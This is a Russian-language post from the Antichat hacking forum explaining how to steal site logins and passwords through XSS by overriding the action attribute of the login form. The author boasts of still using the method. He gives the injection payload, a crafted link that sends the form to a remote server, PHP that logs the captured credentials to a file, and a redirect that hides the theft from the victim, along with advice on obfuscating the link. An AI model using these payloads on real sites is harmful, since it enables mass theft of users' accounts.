Форум АНТИЧАТ - Похищение аутентификационных данных с помощью Xss.

Метод похищения аутентификационных данных с помощью XSS.

[Введение]
В связи с тем, что данный метод как оказалось известен в определенных кругах, решил поделиться им с остальными. А так же хотелось бы опровергнуть мнение, что XSS - это только лишь похищение куки!
Данный метод родился в моей голове, когда я наткнулся на пользователя у которого стоял запрет на использование куки в браузере, а получить доступ к его акку на определенном сайте очень хотелось, тем более там присутствовала xss, сейчас не помню пассивная или нет. В результате данный метод я использую успешно и по сей день ;).
Сразу хочу оговориться, что в данной статье я не буду описывать что из себя представляют XSS атаки в полном объеме, а так же все давно известные методы атак на их основе.

[Немного теории]
Вначале дадим некоторые определения, которые на мой взгляд наиболее кратко и понятно описывают XSS.

Аутентификационные данные - в контексте данной статьи представляют из себя логин и пароль пользователя веб-системы.

Межсайтовый скриптинг (Cross Site Scripting, XSS) – уязвимость, возникающая вследствие недостаточной фильтрации данных, переданных одним пользователем с последующим их выводом другим пользователям системы.

XSS-атака – это реализация угрозы безопасности Веб-систем на основе уязвимости типа межсайтового скриптинга.

Активная XSS (сохраненная) – уязвимость, возникающая вследствие недостаточной фильтрации данных, переданных одним пользователем, сохраненных в системе и доступных для вывода другим пользователям системы.

Пассивная XSS (переданная) – уязвимость, возникающая вследствие недостаточной фильтрации данных, переданных системе в параметрах HTTP-запроса с последующим их выводом в HTML-страницу.

В настоящее время существует огромное количество разновидностей атак основанных на уязвимостях типа XSS. В настоящий момент из этого множества можно выделить следующие шесть видов угроз:
1. угроза похищения идентификационной сессии, идентификационного ключа, параметров хранящихся в cookie;
2. угроза отслеживания действий пользователя и сбора статистической информации;
3. угроза скрытого влияния на действия привилегированного пользователя системы;
4. угроза эксплуатации уязвимости программного обеспечения пользователя(эксплойты);
5. угроза подмены пользовательской информации, изменения структуры и функциональности системы(фейк);
6. угроза скрытого перенаправления информационных потоков в сети(dos, ddos);

[Анализ]
Существующие методы реализации угроз похищения идентификационной сессии, идентификационного ключа и параметров, хранящихся в cookie, имеют следующие недостатки при использовани:

• отсутствие аутентификационных данных в полном объеме. Обычно в куки хранится признак аутентификации (например некий ключ, идентификатор), а не сами данные (логин и пароль);

• временные ограничения. Похищение идентификатора сессии позволяет получить права пользователя только на время продолжительности сеанса, установленного в системе, после чего идентификатор меняется и необходимо вновь его получать;

• вероятное раскрытие атаки. Получив частичные аутентификационные данные, например идентификатор сессии, и соответственно, временно, права пользователя системы, атакующий имеет возможность сменить аутентификационные данные пользователя, что может повлечь за собой, раскрытие его присутствия в системе в момент, когда пользователь попытается войти в систему, используя свои данные;

• отсутствие куки. Даже если уязвимость присутствует в системе, то по различным причинам (политика безопасности) поддержка куки может быть запрещена в самой системе или отключена их поддержка в настройках браузера пользователя.

Известные методы реализации угроз подмены информации, изменения структуры и функциональности системы имеют следующие недостатки при получении аутентификационных данных:

• изменение интерфейса системы. Изменение структуры или функциональности может повлечь нарушение нормальной работы системы, что в свою очередь может привести к визуальным изменениям интерфейса и вызвать подозрения пользователей;

• изменение адреса. При переводе пользователя на подставную систему, имеющую точную копию как по дизайну, так и функциональности, в адресной строке браузера изменится адрес реальной системы, что также вызовет подозрения пользователей;

• трудоемкость реализации. При перенаправлении пользователя на подставную систему, при подмене реальной формы авторизации на собственную форму или внедрении элемента, копирующего дизайн оригинальной страницы системы, возникает трудоемкая работа по созданию точной копии дизайна и идентичной функциональности системы;

• ограничение уязвимых параметров. При подмене реальной формы авторизации на собственную форму или внедрении элемента, копирующего дизайн оригинальной страницы системы, необходимо внедрить через уязвимый параметр достаточно большой по размеру скриптовый сценарий, что не всегда допустимо в системе (например если уязвимый параметр “имя пользователя” ограничен 20 символами).

[Метод]
Разработанный метод похищения аутентификационных данных основан на особенностях механизма обработки объектной модели документа (Document Object Model, DOM) в формате HTML, используемого браузерами и другими приложениями в соответствии со спецификацией языка гипертекстовой разметки HTML. При разборе структуры и построении объектного дерева документа, для дальнейшей интерпретации, браузер осуществляет анализ данных в документе, проходя от начала до конца один раз. Как и во многих языках программирования синтаксис языка HTML позволяет переопределять значения объектов на протяжении всего документа. Окончательным значением каждого элемента объектного дерева, построенного браузером при анализе документа, является значение присвоенное элементу последним в коде страницы. Основная идея предложенного метода заключается в переопределении реального функционала подсистемы аутентификации, определенного разработчиками в Веб-интерфейсе системы, на собственный функционал. Следовательно необходимым условием для реализации предложенного метода является расположение уязвимого параметра после определения функционала подсистемы аутентификации в документе.

Рассмотрим технологию реализации предложенного метода на примере абстрактной Веб-системы наиболее приближенной по архитектуре и функционалу к реальным системам в сети Интернет.

http://keep4u.ru/imgs/b/070618/1dd0cf0a1233ecd280.jpg

Из рисунка видно, что система имеет некоторый Веб-интерфейс, а так же подсистему аутентификации, включающую форму аутентификации и обработчик этой формы соответственно. Перед началом работы в системе пользователю необходимо пройти авторизацию, для этого он запрашивает странницу по адресу http://www.site.com/auth.html, содержащую форму аутентификации.

http://keep4u.ru/imgs/b/070618/748e9617a2e8e29d29.jpg

В данной форме пользователь вводит свои идентификационные и аутентификационные данные, а именно имя и пароль. После нажатия кнопки подтверждения данные передаются обработчику формы аутентификации auth.php, расположенному на Веб-сервере, для дальнейшей авторизации пользователя в системе.
Рассмотрим фрагмент кода формы аутентификации страницы auth.html:

Код:

...

<form action=”auth.php” name=“auth“ method=”post”>

…

<input type=“text” name=”login” value=””>

…

<input type=“password” name=”password” value=””>

…

</form>

…

Рассмотрим реализацию метода на примере пассивной XSS, предположим, что уязвим параметр login.

Код:

…

<input type=“text” name=”login” value=””>JavaScript code”>

…

Мы принудительно закрываем тег элемента ввода login, тем самым разрывая DOM структуру документа и разрушая функционал страницы, заложенный разработчиками. Дальнейший текст введенный нами после пары символов закрывающей двойной кавычки и скобки, будет восприниматься браузером как полноценный код скрипта. Таким образом мы получаем полный контроль над кодом скрипта загружаемым в браузер после нашего внедрения в поле имени.
Основная идея предложенного метода заключается в возможности переопределения обработчика формы аутентификации, определенного в значении параметра action, тега form. Это можно реализовать с помощью следующего JavaScript кода:

Код:

<script>document.auth.action=‘http://server/pass.php’</script>

В данном случае происходит присвоение нового значения параметру action элемента с именем auth, являющегося формой в объекте document. Внедрив этот скрипт в GET параметр login после закрытия тега элемента ввода, необходимо отправить эту ссылку целевому пользователю системы. Ссылка будет иметь следующий вид:

Код:

http://www.site.com/auth.html?login=“><script>document.auth.action=

‘http://server/pass.php’</script>

Для избавления пользователя от подозрений, текст ссылки можно закодировать и передавать в виде escape последовательности.
При переходе пользователя по нашей ссылке, у него в браузере отобразиться страница аутентификации системы, внешне идентичная оригинальной странице. Но ее исходный код будет содержать внедренный нами JavaScript код. Рассмотрим интересующий нас фрагмент исходного кода страницы, загруженной пользователем.

Код:

...

<form action=“auth.php" name=“auth“ method="post">

<input type=“text" name=“login" value="">

<script>document.auth.action=‘http://server/pass.php’</script>”> 

…

</form>

…

Как было отмечено ранее, при обработке страницы браузер анализирует переданный HTML код один раз. Таким образом, при анализе исходного кода, браузер определит в качестве обработчика формы аутентификации реальный скрипт auth.php, а затем выполнит код расположенный после тега элемента ввода. Данный код, внедренный нами в страницу, переопределит обработчик формы аутентификации на скрипт http://server/pass.php, расположенный на удаленном сервере. В результате таких действий аутентификационные данные введенные пользователем, после нажатия кнопки “submit” отправятся нашему скрипту в POST параметрах login и password.

http://keep4u.ru/imgs/b/070618/8db5ae8d211df31495.jpg

Дальнейшая задача скрипта расположенного на удаленном сервере, заключается в приеме, обработке и сохранении POST параметров login и password. Некоторые ключевые фрагменты скрипта будут иметь следующий вид:

Код:

…

$fd = fopen($file,"a");

…

fputs($fd, " login: ".$_POST['login']." password:".$_POST['password']);

…

fclose($fd);

…

echo 

"<script>

document.location.replace('http://www.site.com/auth.html’);

</script>"

Полученные аутентификационные данные благополучно сохраняются в файл. Для избавления от демаскирующих факторов, пользователь сразу же перенаправляется на нормальную страницу с формой аутентификации. При этом на страницу с формой аутентификации отправляются только что перехваченные данные и пользователь продолжает работу в системе под своим аккаунтом.

Код:

document.location.replace('http://www.site.com/auth.html?login=[полученные данные]&password=[полученные данные]’);

</script>"

[Заключение]
В заключении хотелось бы отметить некоторые свойства предложенного метода:

1. Получения аутентификационных данных(логин и пароль) в явном виде, без особых усилий. В отличии от кражи куков более надежная информация.
2. От фейка(подмены страницы) отличается меньшей палевностью, т.к. адрес не меняется в адресной строке, а так же трудоемкостью, не надо поднимать похожую страницу.
3. Если xss активная, то собираются все данные всех пользователей, а не только целевого.
А так же необходимо отметить аналогичное использование в активных XSS.
При этом не надо забывать, что метод проходит для любого уязвимого параметра на странице с формой аутентификации, например, как это обычно бывает в форме поиска по сайту.